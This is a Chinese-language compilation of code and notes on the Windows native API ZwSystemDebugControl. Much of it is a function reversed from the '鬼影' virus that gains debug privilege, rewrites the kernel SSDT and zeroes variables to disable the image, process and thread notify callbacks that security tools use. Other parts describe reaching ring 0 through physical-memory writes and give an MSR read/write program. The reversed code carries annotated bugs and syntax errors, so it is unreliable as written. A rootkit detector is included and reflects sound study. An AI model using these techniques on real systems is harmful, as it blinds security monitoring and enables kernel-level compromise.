ZwSystemDebugControl函数

使用ZwSystemDebugControl，可以在ring3下读写内核空间虚拟内存

//读取

MEMORY_CHUNKS QueryBuff;
DWORD *address2=new DWORD[dwServices];
QueryBuff.Address = dwKernelBase+dwKiServiceTable;
QueryBuff.Data = address2;
QueryBuff.Length = sizeof(DWORD)*dwServices;
DWORD ReturnLength;
ZwSystemDebugControl
    (
    SysDbgReadVirtualMemory,
    &QueryBuff,
    sizeof(MEMORY_CHUNKS),
    NULL,
    0,
    &ReturnLength
    );

//恢复

MEMORY_CHUNKS QueryBuff;
QueryBuff.Address=dwKiServiceTable+dwKernelBase;
QueryBuff.Data=address1;
QueryBuff.Length=dwServices*sizeof(DWORD);
DWORD ReturnLength;
ZwSystemDebugControl
    (
    SysDbgWriteVirtualMemory,
    &QueryBuff,
    sizeof(MEMORY_CHUNKS),
    NULL,
    0,
    &ReturnLength
    );

 

 

=========================

 

/***************************************************************************************
*
*    分析了一下“鬼影”病毒，从里面扒了段代码出来。
*
*    该段代码调用 ZwDebugSystemControl 在 Ring3 恢复 SSDT，并摘除
*    PsSetLoadImageNotifyRoutine、PsSetCreateProcessNotifyRoutine、
*    PsSetCreateThreadNotifyRoutine 三个钩子。
*
*    代码里 bug 较多，我用注释标示出来了，保留原味儿，未做修改。
*
*    逆向 by Fypher
*    http://hi.baidu.com/nmn714
*
****************************************************************************************/
BOOL Ring3Unhook(IN BOOL bArg) { // bArg 为 0 时只恢复SSDT，不摘PsSetXXXNotifyRoutine钩子
// 先提权
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES tkp;
if (OpenProcessToken(GetCurrentProcess, TOKEN_ALL_ACCESS, &hToken) ) {
    if (LookupPrivilegeValue(0, "SeDebugPrivilege", &luid)) {
      tkp.Privileges[0].Luid.LowPart = luid.LowPart;
      tkp.Privileges[0].Luid.HighPart = luid.HighPart;
      tkp.PrivilegeCount = 1;
      tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
      AdjustTokenPrivileges(hToken, FALSE, &tkp, 0x10, NULL, 0);
    }
}
CloseHandle(hObject); // 此处有bug

// 获取所需函数，应该检查一下返回值
char strProcName[32] = "ZwSystemDebugControl";
HMODULE hNtdll = GetModuleHandle("ntdll");
ZWSYSTEMDEBUGCONTROL ZwSystemDebugControl = GetProcAddress(hNtdll, strProcName);

strcpy(strProcName, "NtQuerySystemInformation");
NTQUERYSYSTEMINFORMATION NtQuerySystemInformation = GetProcAddress(hNtdll, strProcName);

// 查询系统模块信息
ULONG ulRet = 0;
NTSTATUS status;

status = NtQuerySystemInformation(SystemModuleInformation, 0, 0, &ulRet);
if (status != STATUS_INFO_LENGTH_MISMATCH)
    return 0;

// 这里写得不好，没有检查返回值，并且用 heap 类函数快得多
HLOCAL hlocal = LocalAlloc(LPTR, ulRet); 

status = NtQuerySystemInformation(SystemModuleInformation, hlocal, ulRet, &ulRet)) 
    return 0; // 此处有资源泄露，应该释放 hlocal

// WS的方式把 ntoskrnl 的真名找到了
PSYSTEM_MODULE_INFORMATION pSysModInfo = (PSYSTEM_MODULE_INFORMATION)((ULONG)hlocal + 4);
    char* pstrNtoskrnl = pSysModInfo->ModuleNameOffset + pSysModInfo->ImageName;

HMODULE hNtoskrnl = LoadLibraryEx(pstrNtoskrnl, 0, DONT_RESOLVE_DLL_REFERENCES);
if (!hNtoskrnl)
    return 0; // 此处有资源泄露，应该释放 hlocal

// 准备恢复SSDT
strcpy(strProcName, "KeServiceDescriptorTable");

ULONG ulSSDToffset = (ULONG)GetProcAddress(hNtoskrnl, &ProcName) - (ULONG)hNtoskrnl;
ULONG ulNtoskrnlBase = (ULONG)hNtoskrnl & 0xFFFFFFFE;    // 取得基址，多余操作

ULONG ulPEHdr = *(PULONG)(ulNtoskrnlBase + 0x3C) + ulNtoskrnlBase; // 取PE头
ULONG ulImageBase = *(PULONG)(ulPEHdr + 52); // 取 ImageBase
ULONG ulSSDTAddr = ulImageBase + ulSSDToffset;

MEMORY_CHUNKS QueryBuff;
QueryBuff.Address = (ULONG)ulSSDTAddr;

ULONG ulSizeOfImage = *(PULONG)(ulPEHdr + 80); // 取 SizeOfImage

PVOID lpAddress;
int i = 0;
if (ulSizeOfImage) {
    while (1) {
      lpAddress = (LPVOID)(ulNtoskrnlBase + i);
      // 寻找 mov ds:KeServiceDescriptorTable, xxxxxxxx
      // 特征码 C7 05 SSDT xxxx
      if (*(PULONG)(lpAddress) == ulSSDTAddr ) {
        if ( *(WORD *)(lpAddress - 2) == 0x5C7 )
          break;
      }
      ++i;
      if (i >= ulSizeOfImage)
        break;
    }
    if (i <ulSizeOfImage)
      QueryBuff.Address = *((PULONG)lpAddress + 1);
}

if (i == ulSizeOfImage) {
    return 0; // 此处有资源泄露，应该释放 hNtoskrnl 和 hLocal
}
else { // 此处有bug， i > ulSizeOfImage后程序会流向此处
    PULONG FunAddr = (PULONG)( QueryBuff.Address + (ULONG)hNtoskrnl - ulImageBase);
    DWORD dwOldProtect = 0;
    VirtualProtect(FunAddr, 0x1000, PAGE_READWRITE, &dwOldProtect); // 这里应该检查返回值
    int num = 280; // 这里写得不好，函数个数应该动态获取
    
    do {
      FunAddr[num] += (ULONG)pSysModInfo->Base - ulImageBase;
      --num;
    } while (num >= 0);
    
    // 恢复SSDT
    DWORD dwRet;
    QueryBuff.Address = QueryBuff.Address + (ULONG)pSysModInfo->Base - ulImageBase;
    QueryBuff.Data = FunAddr;
    QueryBuff.Length = 1120; // 这里写得不好，函数个数应该动态获取
    status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);

    if ( bArg ) { // 根据参数决定是否摘除 PsSetxxxNotifyRoutine 钩子

      // 准备摘掉 PsSetLoadImageNotifyRoutine 的钩子
      strcpy(strProcName, "PsSetLoadImageNotifyRoutine");
      ULONG ulProcAddr = (ULONG)GetProcAddress(hNtoskrnl, &strProcName);
      
      QueryBuff.Address = ulProcAddr;
      if ( *(WORD *)ulProcAddr != 0xCCCC ) { // 此处有bug
        do {
          ++ulProcAddr;
        } while ( *(WORD *)ulProcAddr != 0xCCCC );
        
        while (ulProcAddr > QueryBuff.Address ) {
          // 寻找 PsImageNotifyEnabled
          // mov ds:_PsImageNotifyEnabled, 1，特征码C6 05 xx xx xx xx 01。
          if (*(WORD *)ulProcAddr == 0x5C6 && *((_BYTE *)ulProcAddr + 6) == 1 ) {
            ULONG ulPsImageNotifyEnabledAddr = *(PULONG)(ulProcAddr + 2);

            // 将 PsImageNotifyEnabled 置 0， 摘掉 ImageNotifyEnabled 钩子
            int buff = 0;
            QueryBuff.Address = ulPsImageNotifyEnabledAddr + (ULONG)pSysModInfo->Base - ulImageBase;
            QueryBuff.Data = &buff
            QueryBuff.Length = 1;
            status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);
            break;
          }
          --ulProcAddr;
        }
      }

      // 同理摘掉 PsSetCreateProcessNotifyRoutine 的钩子
      strcpy(strProcName, "PsSetCreateProcessNotifyRoutine");
      ulProcAddr = (ULONG)GetProcAddress(hNtoskrnl, &strProcName);

      QueryBuff.Address = ulProcAddr;
      if ( QueryBuff.Address < QueryBuff.Address + 256 ) {
        // 找函数出口，retn 8
        while ( *(WORD *)ulProcAddr != 0x8C2 || *(BYTE *)(ulProcAddr + 2) ) {
          ++ulProcAddr;
          if (ulProcAddr >= QueryBuff.Address + 256)
            break;
        }

        while ( ulProcAddr < QueryBuff.Address + 256 ) {
          // 寻找mov xx, offset _PspCreateProcessNotifyRoutineCount
          if ((*(BYTE *)ulProcAddr & 0xF8) == 0xB8) {
            if (*(PULONG)(ulProcAddr + 1) > 0x400000) { // 取得_PspCreateProcessNotifyRoutineCount
              int buff = 0;
              QueryBuff.Address = *(PULONG)(ulProcAddr + 1);
              QueryBuff.Address = QueryBuff.Address + (ULONG)pSysModInfo->Base - ulImageBase;
              QueryBuff.Data = &buff;
              QueryBuff.Length = 4;
              status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);
              break;
                    }
            ulProcAddr += 4;
          }
          ++ulProcAddr;
        }
      }
      // 同理摘掉 PsSetCreateThreadNotifyRoutine 的钩子， 不解释了
      strcpy(strProcName, "PsSetCreateThreadNotifyRoutine");
      ulProcAddr = GetProcAddress(hNtoskrnl, &strProcName);
      QueryBuff.Address = ulProcAddr;
      while (1) {
        if (ulProcAddr >= QueryBuff.Address + 256)
          break;
        if (*(WORD *)ulProcAddr == 0x4C2 && !*((BYTE *)ulProcAddr + 2))
          break;
        ++ulProcAddr;
      }
      for (ULONG addr = ulProcAddr + 3; addr < QueryBuff.Address + 256; ++addr) {
        if ((*(BYTE *)addr & 0xF8) == 0xB8) {
          if (*(PULONG)(addr + 1) > 0x400000) {
            int buff = 0;
            QueryBuff.Address = *(PULONG)(ulProcAddr + 1);
            QueryBuff.Address = QueryBuff.Address + (ULONG)pSysModInfo->Base - ulImageBase;
            QueryBuff.Data = &buff;
            QueryBuff.Length = 4;
            status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);
            break;
          }
          addr += 4;
        }
      }
    }
    FreeLibrary(hNtoskrnl);
    return NT_SUCCESS(status); // 此处有资源泄露，应该释放 hlocal
}
}

========================================================

利用ZwSystemDebugControl进入R0
利用ZwSystemDebugControl进入R0

算是半公开了很久的技术吧

貌似去年底XYZREG就在BLOG里提到过了，不过貌似正式的利用方法一直没有人说

今天有人放了个BIN出来

索性就简单讲讲这玩意好了

更多细节见驱网上某人的BIN和我反的IDB~

 

通过

ZwSystemDebugControl(SysDbgRead/WriteBusData) -> KdpRead/WriteBusData (SoltNumber=1,BusType=BUS_CMOS) ->HalGet/SetBusDataByOffset(BusType=BUS_CMOS,SoltNumber=1) -> HalpSet/GetCmosData(SoltNumber=1)

可以直接读写系统的物理内存

实际就是调用HalSet/GetCmosData中的代码

写入系统的74~76H号端口，来进行物理内存读写

0074-0076 secondary CMOS (Compaq), NVRAM (IBM) access

0074 w secondary CMOS RAM (IBM NVRAM) index, low byte
0075 w secondary CMOS RAM (IBM NVRAM) index, high byte
0076 r/w secondary CMOS RAM (IBM NVRAM) data byte

Note: NVRAM may be 2K, 8K, or 16K

能读写物理内存，自然就可以轻松进入R0了

不过这个方法似乎在部分机器上会造成蓝屏~

=================================================================

//?XP下利用“ZwSystemDebugControl ”API函数读写CPU MSR   

/**************************************************************************** 
**********************             声明部分          *********************** 
****************************************************************************/ 
#include <windows.h>   
#include <stdio.h>   

#pragma comment(lib, "advapi32")   

#define NTAPI       __stdcall   
#define FCHK(a)     if (!(a)) {printf(#a " failed/n"); return 0;}   

typedef int NTSTATUS;   

typedef enum _SYSDBG_COMMAND   
{   
    DebugSysReadMsr = 16,    //读取MSR参数   
    DebugSysWriteMsr = 17,   //写入MSR参数   
}SYSDBG_COMMAND, *PSYSDBG_COMMAND;   

typedef NTSTATUS (NTAPI * PZwSystemDebugControl) (   
    SYSDBG_COMMAND ControlCode,   
    PVOID InputBuffer,   
    ULONG InputBufferLength,   
    PVOID OutputBuffer,   
    ULONG OutputBufferLength,   
    PULONG ReturnLength   
    );   

PZwSystemDebugControl ZwSystemDebugControl = NULL;   

typedef struct _MSR_STRUCT {   
    DWORD MsrNum;            // MSR number   
    DWORD NotUsed;            // Never accessed by the kernel   
    DWORD MsrLo;            // IN (write) or OUT (read): Low 32 bits of MSR   
    DWORD MsrHi;            // IN (write) or OUT (read): High 32 bits of MSR   
} MSR_STRUCT;   






//---------申请访问权限---------   
BOOL EnablePrivilege (PCSTR name)   
{   
    HANDLE hToken;   
    BOOL rv;   
       
    TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };   
    LookupPrivilegeValue (   
        0,   
        name,   
        &priv.Privileges[0].Luid   
    );   
       
    OpenProcessToken(   
        GetCurrentProcess (),   
        TOKEN_ADJUST_PRIVILEGES,   
        &hToken   
    );   
       
    AdjustTokenPrivileges (   
        hToken,   
        FALSE,   
        &priv,   
        sizeof priv,   
        0,   
        0   
    );   
    rv = GetLastError () == ERROR_SUCCESS;   
       
    CloseHandle (hToken);   
    return rv;   
}   



int main (void)   
{   
    HMODULE hNtdll;   
    ULONG ReturnLength;   
    OSVERSIONINFO OSVersionInfo;   
    OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);   
    MSR_STRUCT msr;   

    EnablePrivilege (SE_DEBUG_NAME);   

    FCHK ((hNtdll = LoadLibrary ("ntdll.dll")) != NULL);   
    FCHK ((ZwSystemDebugControl = (PZwSystemDebugControl)    
           GetProcAddress (hNtdll, "ZwSystemDebugControl")) != NULL);   
    FCHK ((void *) GetVersionEx (&OSVersionInfo) != NULL);   

    if (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT &&   
        OSVersionInfo.dwMajorVersion >= 5 &&   
        OSVersionInfo.dwMinorVersion >= 1)    //Windows XP以上   
    {   

        msr.MsrNum=409; //MSR 地址，十进制形式   
       //写入时要设置以下数据   
       // msr.MsrHi=00;   
       // msr.MsrLo=1030;   
           
     
        ZwSystemDebugControl    
            (   
            DebugSysReadMsr, //如果想写入，则改为DebugSysWriteMsr   
            &msr,   
            sizeof (msr),   
            NULL,   
            0,   
            NULL   
            );   

        printf("%08X=%08X-%08X/n",msr.MsrNum,msr.MsrHi,msr.MsrLo);   
        Sleep(10000);   
          
    }   
    else 
    {   
        printf ("This program require Windows XP or Windows 2003./n");   
    }   
    return 0;   
}   
//------------------------------------------------------------------------

使用ZwSystemDebugControl的简易用户模式Rootkit检测器代码

NTSTATUS
ReadKernelMemory(IN PVOID BaseAddress,
                 OUT PVOID Buffer,
                 IN ULONG Length)
{
    NTSTATUS Status;
    SYSDBG_VIRTUAL DbgMemory;

    //
    // Setup the request
    //
    DbgMemory.Address = BaseAddress;
    DbgMemory.Buffer = Buffer;
    DbgMemory.Request = Length;

    //
    // Do the read
    //
    Status = NtSystemDebugControl(SysDbgReadVirtual,
                                  &DbgMemory,
                                  sizeof(DbgMemory),
                                  NULL,
                                  0,
                                  NULL);
    return Status;
}

PCHAR
FindDriverForAddress(IN PVOID Pointer)
{
    NTSTATUS Status;
    PRTL_PROCESS_MODULES ModuleInfo;
    PRTL_PROCESS_MODULE_INFORMATION ModuleEntry;
    ULONG ReturnedLength;
    ULONG i;

    //
    // Figure out how much size we need
    //
    Status = NtQuerySystemInformation(SystemModuleInformation,
                                      NULL,
                                      0,
                                      &ReturnedLength);
    if (Status != STATUS_INFO_LENGTH_MISMATCH) return NULL;

    //
    // Allocate a buffer large enough
    //
    ModuleInfo = RtlAllocateHeap(RtlGetProcessHeap(), 0, ReturnedLength);
    if (!ModuleInfo) return NULL;

    //
    // Now query the data again
    //
    Status = NtQuerySystemInformation(SystemModuleInformation,
                                      ModuleInfo,
                                      ReturnedLength,
                                      &ReturnedLength);
    if (!NT_SUCCESS(Status)) return NULL;

    //
    // Loop all the drivers
    //
    for (i = 0; i < ModuleInfo->NumberOfModules; i++)
    {
        //
        // Get the current entry and check if the pointer is within it
        //
        ModuleEntry = &ModuleInfo->Modules[i];
        if ((Pointer > ModuleEntry->ImageBase) &&
            (Pointer < ((PVOID)((ULONG_PTR)ModuleEntry->ImageBase +
                                ModuleEntry->ImageSize))))
        {
            //
            // Found a match, return it
            //
            return ModuleEntry->FullPathName;
        }
    }
}

PCHAR
DetectDriver(VOID)
{
    BOOLEAN Old;
    NTSTATUS Status;
    ULONG_PTR MappedAddress;
    PVOID KernelBase, TableBase;
    UNICODE_STRING KernelName;
    ANSI_STRING TableName = RTL_CONSTANT_STRING("KeServiceDescriptorTable");
    RTL_PROCESS_MODULES ModuleInfo;
    ULONG Flags;
    KSERVICE_TABLE_DESCRIPTOR ServiceTable;

    //
    // Give our thread the debug privilege
    //
    Status = RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &Old);
    if (!NT_SUCCESS(Status)) return NULL;

    //
    // Query the kernel's module entry
    //
    Status = NtQuerySystemInformation(SystemModuleInformation,
                                      &ModuleInfo,
                                      sizeof(ModuleInfo),
                                      NULL);
    if (Status != STATUS_INFO_LENGTH_MISMATCH) return NULL;

    //
    // Initialize the kernel's full path name
    //
    Status = RtlCreateUnicodeStringFromAsciiz(&KernelName,
                                              ModuleInfo.Modules[0].FullPathName);
    if (!Status) return NULL;

    //
    // Keep only the short name
    //
    KernelName.Buffer = KernelName.Buffer +
                        (KernelName.Length / sizeof(WCHAR)) -
                        12;

    //
    // Map the kernel
    //
    Flags = IMAGE_FILE_EXECUTABLE_IMAGE;
    Status = LdrLoadDll(NULL, &Flags, &KernelName, &KernelBase);
    if (!NT_SUCCESS(Status)) return NULL;

    //
    // Find the address of KeServiceDescriptorTable
    //
    Status = LdrGetProcedureAddress(KernelBase, &TableName, 0, &TableBase);
    if (!NT_SUCCESS(Status)) return NULL;

    //
    // Unload the kernel image, we're done with it
    //
    Status = LdrUnloadDll(KernelBase);
    if (!NT_SUCCESS(Status)) return NULL;

    //
    // Get the virtual address we need
    //
    MappedAddress = (ULONG_PTR)ModuleInfo.Modules[0].ImageBase;
    MappedAddress -= (ULONG_PTR)KernelBase;
    MappedAddress += (ULONG_PTR)TableBase;

    //
    // Now read the SSDT
    //
    Status = ReadKernelMemory((PVOID)MappedAddress,
                              &ServiceTable,
                              sizeof(ServiceTable));
    if (!NT_SUCCESS(Status)) return NULL;

    //
    // Setup the argument table
    //
    ArgumentTable = RtlAllocateHeap(RtlGetProcessHeap(),
                                    0,
                                    ServiceTable.Limit * sizeof(ULONG_PTR));
    if (!ArgumentTable) return NULL;

    //
    // Now fill it up
    //
    Status = ReadKernelMemory(ServiceTable.Base,
                              ArgumentTable,
                              ServiceTable.Limit * sizeof(ULONG_PTR));
    if (!NT_SUCCESS(Status)) return NULL;

    //
    // Now scan it
    //
    for (i = 0; i < ServiceTable.Limit; i++)
    {
        //
        // Make sure no pointer is outside the kernel area
        //
        if (ArgumentTable[i] > 0x8FFFFFFF)
        {
            //
            // Find the driver file that this belongs to
            //
            return FindDriverForAddress(UlongToPtr(ArgumentTable[i]));
        }
    }

    //
    // If we got here, then you don't have any rootkit
    //
    return NULL;
}   

=====================================================================

 

ring3下用ZwSystemDebugControl获取和恢复SSDT
使用ZwSystemDebugControl，可以在ring3下读写内核空间虚拟内存

//读取

MEMORY_CHUNKS QueryBuff;
DWORD *address2=new DWORD[dwServices];
QueryBuff.Address = dwKernelBase+dwKiServiceTable;
QueryBuff.Data = address2;
QueryBuff.Length = sizeof(DWORD)*dwServices;
DWORD ReturnLength;
ZwSystemDebugControl
    (
    SysDbgReadVirtualMemory,
    &QueryBuff,
    sizeof(MEMORY_CHUNKS),
    NULL,
    0,
    &ReturnLength
    );

//恢复

MEMORY_CHUNKS QueryBuff;
QueryBuff.Address=dwKiServiceTable+dwKernelBase;
QueryBuff.Data=address1;
QueryBuff.Length=dwServices*sizeof(DWORD);
DWORD ReturnLength;
ZwSystemDebugControl
    (
    SysDbgWriteVirtualMemory,
    &QueryBuff,
    sizeof(MEMORY_CHUNKS),
    NULL,
    0,
    &ReturnLength
    );